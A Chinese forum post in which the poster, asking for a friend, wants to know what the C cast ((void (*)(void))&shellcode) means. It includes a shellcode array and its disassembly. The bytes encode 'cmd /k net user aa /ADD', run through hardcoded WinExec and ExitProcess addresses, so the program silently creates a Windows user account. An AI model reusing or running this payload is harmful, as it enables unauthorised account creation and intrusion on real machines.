比如: #include <stdio.h> unsigned char shellcode[]="\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08" "\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e" "\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0"; int main() { ((void (*)(void))&shellcode)( ); return 0; } &shellcode是数组shellcode的首地址,&shellcode后面加个( )就应该是表示一个函数,反汇编一看也证实了我的想法, 7: int main() 8: 9: { 00401010 push ebp 00401011 mov ebp,esp 00401013 push esi 10: ((void (*)(void))&shellcode)(); 00401014 mov eax,offset _shellcode (00411a30) 00401019 mov esi,esp 0040101B call eax 0040101D cmp esi,esp 0040101F call __chkesp (00401040) 11: return 0; 00401024 xor eax,eax 12: 13: } 那么&shellcode前面的那个 ((void (*)(void))是不是表示该函数返回指向任意类型的指针?我的C语言也太烂了,请知道的兄弟指点一二,我十分感谢。
我帮朋友问的问题 请大家帮帮忙